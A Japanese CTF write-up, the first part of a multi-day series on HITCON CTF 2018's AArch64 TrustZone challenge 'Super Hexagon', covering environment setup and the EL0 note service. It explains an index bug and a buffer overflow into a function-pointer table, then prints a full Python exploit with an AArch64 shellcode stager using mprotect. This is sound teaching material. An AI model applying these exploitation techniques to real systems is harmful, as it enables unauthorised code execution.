trustzone
ctf
pwn
ARM
Aarch64
, kernel
hypervisor
この記事は,CTF Advent Calendar 2020 の3日目の記事です.
2日目は@kusuwadaさんの「オススメの初級者向けCTF」でした.
今日から7日間かけて,HITCON CTF 2018で出題されたSuper Hexagonというタイトルの,Aarch64のpwn問を解説していきます.この問題は以下のような特徴があります.
私は以前この問題に取り組み,納得行くまで色々調べ,その結果沢山のことを学びました.その内容は自分やチームのためにまとめて記事にしていたのですが,公開したほうが各位の知見になるのではと思い,今更ですが公開する次第です.尚,記事自体は結構前に書いてチーム内に公開していたものであり,文体が違っていたり,若干記述が古い箇所があるかもしれませんが,ご了承ください.
解説は非常に長丁場になるため,各ステージごとに日を分けて解説していきます(但しPart6と7は,それまでの集大成になるため新たな解説がほとんどなく,とても短いです).そしてこれが一番伝えたいことなのですが,Pwn担当の方(中でも普通のやるだけPwnに飽きてきた方)は,ぜひ,流し読みするのではなく自分で納得行くまで解析してみてください.おそらくかなり手間取るとは思いますが,その分とても楽しめると思います.
今回は主にチームNASA RejectsのWrite-upを参考に,他のチームのWrite-upも取り込みながら,6つのレベルを攻略していく.
https://ctf2018.hitcon.org/dashboard/#9
問題はここからDLできる.ただしAArch64のマニュアルPDF(AArch64-Reference-Manual.pdf
)は含まれていない.
以下のファイル群が渡される.docker内でqemuが動き,その上でBIOSや独自カーネル,ユーザランドバイナリが動く構造である.
アーキテクチャはAArch64(ARMv8)で,問題文よりTrustZoneが設定されている.
TrustZoneはARMやAArch64が持つ機構で,これまでのユーザランドやカーネル,ハイパーバイザの動作レベルをEL0,EL1,EL2としたとき,大体以下のような構造になっている(公式のヒントより).
ELはException Levelのことで,直訳すると「例外レベル」だが,イメージとしてはRing-3,Ring-0などの概念に近い.ただし数字は逆なので注意しよう(EL0が最も権限が低い).
尚,S-EL2は存在しないことに注意しよう.ARMv8.4から導入される予定であるが,今回の環境では存在しない.
おそらく,EL0 → EL1 → EL2 → S-EL0 → S-EL1 → S-EL3 の順で攻略していく必要がある.
まずは問題の理解が必要だ.その次に各ELのコードを抽出し,解析,脆弱性特定,最後にexploit開発,という流れになるはずだ.
必要に応じてデバッグ環境の構築,マニュアルの読解なども含まれるだろう.
docker-compose
を導入したら,以下のコマンドでサービスが起動する.
同梱のdocker-compose.yaml
を読めば6666/tcp
で待ち受けていることがわかるので,docker
の外側からnetcat
などで接続する.
以下のような応答が得られる.
どうやら16進数でデータを格納できる,シンプルなノート系サービスのようだ.
尚,十分なメモリがVMゲストに与えられていないとdocker
内のqemu
が起動に失敗する.
4GB
では不十分だったので,8GB
程度はメモリを割り当てておくと良いだろう.
後で困らないように,docker-compose.yaml
をいじって/tmp
をRW
にしておこう.これでdocker
内でもapt
ができる.またgdb
がまともに使えるよう,権限追加やseccomp
解除をしておこう.
docker
の中に入ることもできるので,必要に応じてイメージ内に色々ツールを入れておくと良い.
また,run.sh
は,先頭のexec
やtimeout
を消して,末尾に-S -s
をつけておくとgdb
でデバッグができて良い.私は-s
だけで良い派なので,以下のようにした.
これで,以下のようにデバッグができる.
尚,後半ではデバッグ中に無限ループに飛ばしてアタッチすることが多いので,以下のほうが有用だろう.
bios.bin
の末尾にELFが存在するので,切り出して解析してみよう.
いわゆるノートサービスで,コード量も多くはない.全体的に見ていこう.
利用されている構造体はこちら.
そしてこちらがコードだ.
main()
から呼ばれるload_trustlet()
を見ると,tc_
が頭についた関数が使われている.これがおそらくTrustZone関連なのだろう.
なおtc_register_wsm()
やtc_init_trustlet()
の中身はsyscall
を呼んでいるだけであった.
syscall
の先がどうハンドリングされるかは現時点では不明なので後回しにするとして,とりあえず,セキュアワールドに渡している(確保したwsm
にmemcpy()
で書き込んでいる)バイナリデータ(TA_BIN
)は,後に使うと思われるのでダンプしておこう.これはおそらくS-EL0のコードだ.
さて,ここからがノートサービスだ.実にシンプルな作りである.メニューではcmd
とindex
を受け取り,cmd=1
のときはkey
も受け取る.
ロード機能の実装は以下の通り.tci_buf
にcmd
とindex
をセットし,システムコールを呼び出す.するとTrustZoneで処理され,tci_buf->data
にデータが入ってくる仕組みらしい.
セーブ機能の実装は以下の通り.こちらも同様,tci_buf
にcmd
とindex
とdata
(16進数ASCII形式)をセットし,システムコールを呼び出す.するとデータがTrustZoneに保存される仕組みらしい.
ここで,脆弱性は2つ存在する.
run()
関数には,関数テーブルのインデックスバグが存在する.
コード上はcmd=1
or0
しか想定していないが,実際はどんな値でも受け付けてしまうのだ.
さて,我々の入力バッファはinput
と呼ばれるグローバル変数に入っている(これはscanf()
の実装からわかる).
input
はcmdtb
の0x100
バイト前に存在する.
もしコマンド番号として-32 (= -0x100/8)
を指定すると,どうなるだろうか.
cmdtb[]
は_QWORD
な要素の配列であるため,cmdtb[-32]
は&cmdtb[0] - 0x100
の位置を指すことになる.
つまりcmdtb[-32](buf, idx, size)
という形の関数呼び出しは,input[0:8](buf, idx, size)
という形の関数呼び出しと同義であるため,input
内のデータをアドレスと解釈して関数が呼び出されることになる.
2つ目のバグは,scanf()
の実装におけるBOFである.
scanf()
では内部的にgets()
と名前の付いた関数を用いている.この関数はバッファの長さチェックがないので,BOFが発生することになる.読み込み先のinput
は.bss
上の0x100
バイトの配列で,その直後にはcmdtb
,つまり関数ポインタが存在するので,BOFで上書きすれば制御を奪うことが出来る.
EL0にはprint_flag()
関数が実装されている.$PC
の制御を奪取できるなら,ここに飛ばせば良い.
つまり脆弱性1を使った場合はこんなコードでフラグが取れることになる.
または脆弱性2を使った場合はこんなコードでフラグが取れる.
実行した結果がこちら(脆弱性2を使った場合).
EL0のフラグを取るだけなら関数ポインタの差し替えだけでよいのだが,権限昇格につなげることを見据えた任意コード実行を行うにはひと手間必要だ.
任意コード実行のためには,シェルコード(stagerで良い)をRWX
な領域へ書き込む必要がある.つまりまずはRWX
な領域を作らなければならない.バイナリはスタティックリンクであり,mprotect()
が存在するので,まずはここを呼び出すことからはじめよう.
先の脆弱性を使うと,cmdtb[cmd](buf, idx, size)
の形で呼ばれる関数ポインタをmprotect()
に差し替えられる.つまりmprotect(buf, idx, size)
という形で呼び出されることになる.
但しbuf
が指すアドレスをユーザがコントロールすることはできない.従ってmprotect()
でRWX
にする領域(=シェルコードを配置する領域)は,buf
の指すアドレスつまりmain()
内で最初にmmap()
により確保された領域となる.idx
, size
はユーザがコントロールすることが出来る.
idx
は関数ポインタを呼んだ先でチェックしているので,関数ポインタ自体を差し替えるならチェックはされない.つまりどの様な値を入れても良い.size
はstrlen(input)
で計算されるため,\0
が入っているとそこまでの長さで打ち切られる.ただしsize=7
(=RWX
)にするとエラーメッセージが出てうまく行かない.これは(EL1カーネルを読むと分かるが)この環境がW^X
を実装しているためである.エラーメッセージを参考に,size=5
(=R-X
)にすればうまくいく.buf
にはmmap()
で確保されたアドレスが入っている.一見ランダムに見えるが,この環境はASLRを実装していないため,0x7ffeffffd000
で固定である.これはqemu
にgdb
でアタッチすれば確認できる.buf
にはシェルコードがscanf()
経由で格納されるため,シェルコードに0x0
, 0xa
, 0xd
, 0x20
を使うことはできない(正確には0x0
だけは利用できるが何度かに分けて送らないといけないので面倒).read()
のシステムコール実装は,1
バイトずつしか読み込まないので,stagerにおけるread()
による転送も1
バイトずつ送ること.EL0で任意コード実行を行うexploitの実装は以下のようになる.Python2のコードであることに注意.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, commands, re, hexdump
#################################################################################
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a&0xffffffff)
def u(a): return struct.unpack("<I",a)[0]
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
def uQ(a): return struct.unpack("<Q",a)[0]
def dbg(ss):
cs, ce = '\x1b[1;37m', '\x1b[00m' # White
print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
def xxd(data):
hexdump.hexdump(data)
#################################################################################
def init():
info = read_until(f, "=== Trusted Keystore ===\n")
#print info
def menu():
r = read_until(f, "cmd> ")
#print [r]
return r
def load(index, skip=False):
f.write("0\n")
read_until(f, "index: ")
f.write("%d\n" % index)
if skip: return
return menu()
def save(index, key, skip=False):
f.write("1\n")
read_until(f, "index: ")
f.write("%d\n" % index)
read_until(f, "key: ")
f.write("%s\n" % key)
if skip: return
return menu()
def asm(code):
open("/tmp/hoge.s", "wb").write(code)
cmd = "aarch64-linux-gnu-as -o /tmp/hoge.out /tmp/hoge.s"
cmd += " && aarch64-linux-gnu-ld -o /tmp/hoge /tmp/hoge.out"
cmd += " && objdump -dz /tmp/hoge"
cmd += " && rm -f /tmp/hoge /tmp/hoge.out /tmp/hoge.s"
return commands.getoutput(cmd)
def parse(output):
if "Error" in output or "error" in output:
print output
exit(0)
payload = ""
for line in output.splitlines():
r = re.findall(r"^\s+\w{6}:\s+(\w{8})\s+.+", line)
if r:
payload += p(int(r[0], 16))
return payload
#################################################################################
def el0_stager():
# EL0-stager @ 0x7ffeffffd000
el0_stager = """
.section .text
.global _start
# 401B5C mmap mmap(0LL, (size_t)v4, 3, 0, 0, -1LL);
# 401B50 read read(0, &c, 1uLL)
# 401B68 mprotect
_start:
# setup useful constants
mov x19, #0x0401
lsl x19, x19, #12 ;# x19 = 0x0401000
sub x20, x20, x20 ;# x20 = 0x0
mov x23, #0x1111
lsr x23, x23, #12
lsl x23, x23, #12 ;# x23 = 0x1000
# x21 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, 0, 0, -1)
mov x0, x20 ;# 0
mov x1, x23 ;# 0x1000
mov x2, #0x310 ;#
lsr x2, x2, #8 ;# 0x3
mov x3, x20 ;# 0
mov x4, x20 ;# 0
neg x5, x20 ;# -1
add x10, x19, #0xb5c ;# 0x0401b5c
blr x10
add x21, x0, #123
sub x21, x21, #123
# for(x22 = 0; x22 != 0x1000; x22++) read(0, &x21[x22], 1);
mov x22, x20
readloop:
mov x0, x20 ;# 0
add x1, x21, x22 ;# &x21[x22]
lsr x2, x23, #12 ;# 1
add x10, x19, #0xb50 ;# 0x0401b50
blr x10
sub x22, x22, #0x110
add x22, x22, #0x111
cmp x22, x23
bne readloop
# mprotect(x21, 0x1000, PROT_READ|PROT_EXEC)
mov x0, x21 ;# mmap_buffer
mov x1, x23 ;# 0x1000
mov x2, #0x510
lsr x2, x2, #8 ;# 0x5
add x10, x19, #0xb68 ;# 0x0401b68
blr x10
# goto buffer
blr x21
"""
stager = parse(asm(el0_stager))
assert not "\0" in stager
assert not "\n" in stager
assert not "\r" in stager
assert not "\x20" in stager
assert len(stager)+8 <= 256
save(1, "AAAAAAAA" + stager)
mprotect = 0x401B68
mmap_addr = 0x7ffeffffd000 # no ASLR, buf address
buf = "AAAAA\0AA".ljust(256,"\0") + pQ(mmap_addr+8) + pQ(mprotect)[:-1]
save(0x1000, buf, skip=True) # mprotect(buf, 0x1000, 5)
load(0, skip=True) # jump to buf
el0_readflag() # load via stager
def el0_readflag():
# EL0-shellcode @ 0x7ffeffffc000
el0_sc = """
.section .text
.global _start
_start:
# print EL0 flag
ldr x10, =0x400104
blr x10
"""
payload = parse(asm(el0_sc))
assert len(payload) <= 0x1000
f.write(payload.ljust(0x1000)) # EL0 shellcode
#################################################################################
HOST, PORT = "127.0.0.1", 6666
s, f = sock(HOST, PORT)
raw_input("gdb?")
init()
menu()
el0_stager()
shell(s)
"""
root@Ubuntu1804-64:~/now# py exp_el0.py
gdb?
Flag (EL0): hitcon{this is flag 1 for EL0}
*** Connection closed by remote host ***
root@Ubuntu1804-64:~/now#
"""
小難しい感じでアセンブリが書かれているが,NULL
回避をしながら
mmap()
でRW-
なメモリをシェルコード用に確保0x1000
回のread()
でシェルコードを追加読込mprotect()
でシェルコードをR-X
化をしているだけである.stagerの先に,EL0のフラグを読み出すようなシェルコードを書いておけば良い.
尚アセンブリをその場でアセンブルしているので,動かすには以下のパッケージをインストールしておく必要がある.